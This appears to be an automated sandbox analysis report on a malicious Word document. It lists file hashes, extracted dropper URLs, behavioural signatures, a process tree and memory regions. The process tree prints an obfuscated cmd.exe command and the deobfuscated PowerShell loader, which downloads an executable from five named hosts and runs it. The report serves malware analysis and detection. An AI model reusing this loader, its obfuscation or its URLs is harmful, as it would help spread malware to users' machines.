Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    02-12-2021 11:58

General

  • Target

    test/0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc

  • Size

    81KB

  • MD5

    fac7b441a730abf96b210a8db9dbf3d1

  • SHA1

    9f5bb869b95136f51b954e4284f99168ff0e91fb

  • SHA256

    0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66

  • SHA512

    0a5ec69ec554639ede43c359f38f8d2e52718b7e29a06aa112ff8cdc99b2777a39c3a9455d3796033a813cceda7487104fb8f0027eccfa138bcd0c2064606f07

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.serefozata.com/axf

exe.dropper

http://www.livingbranchanimalsciences.com/zVMQFL

exe.dropper

http://www.donghodaian.com/jiPViP

exe.dropper

http://sprayzee.com/iiWYe6z

exe.dropper

http://yasarkemalplatformu.org/s

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:992
      • \??\c:\windows\SysWOW64\cmd.exe
        c:\vzfWNdCGiTp\ELZjVnjMduYMWI\OzSjFliDoUafiX\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:836
        • C:\Windows\SysWOW64\cmd.exe
          CmD /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
          3⤵
          • An obfuscated cmd.exe command-line is typically used to evade detection.
          • Suspicious use of WriteProcessMemory
          PID:1372
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell "$nsH='BKf';$tmv=new-object Net.WebClient;$kjR='http://www.serefozata.com/axf@http://www.livingbranchanimalsciences.com/zVMQFL@http://www.donghodaian.com/jiPViP@http://sprayzee.com/iiWYe6z@http://yasarkemalplatformu.org/s'.Split('@');$wdN='mBN';$Gwb = '390';$vzj='EDk';$BJE=$env:temp+'\'+$Gwb+'.exe';foreach($TBK in $kjR){try{$tmv.DownloadFile($TBK, $BJE);$DKz='hij';If ((Get-Item $BJE).length -ge 80000) {Invoke-Item $BJE;$kiB='mQZ';break;}}catch{}}$Wfp='HEA';"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:876

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/836-64-0x0000000000000000-mapping.dmp

    • memory/856-56-0x000000006FB81000-0x000000006FB83000-memory.dmp

      Filesize

      8KB

    • memory/856-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/856-58-0x0000000074A41000-0x0000000074A43000-memory.dmp

      Filesize

      8KB

    • memory/856-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/856-55-0x0000000072101000-0x0000000072104000-memory.dmp

      Filesize

      12KB

    • memory/856-61-0x0000000005460000-0x0000000005462000-memory.dmp

      Filesize

      8KB

    • memory/856-62-0x00000000005F5000-0x00000000005F9000-memory.dmp

      Filesize

      16KB

    • memory/856-63-0x00000000005F5000-0x00000000005F9000-memory.dmp

      Filesize

      16KB

    • memory/876-68-0x0000000002310000-0x0000000002F5A000-memory.dmp

      Filesize

      12.3MB

    • memory/876-66-0x0000000000000000-mapping.dmp

    • memory/876-69-0x0000000002310000-0x0000000002F5A000-memory.dmp

      Filesize

      12.3MB

    • memory/876-70-0x0000000004B30000-0x0000000005066000-memory.dmp

      Filesize

      5.2MB

    • memory/992-60-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

      Filesize

      8KB

    • memory/992-59-0x0000000000000000-mapping.dmp

    • memory/1372-65-0x0000000000000000-mapping.dmp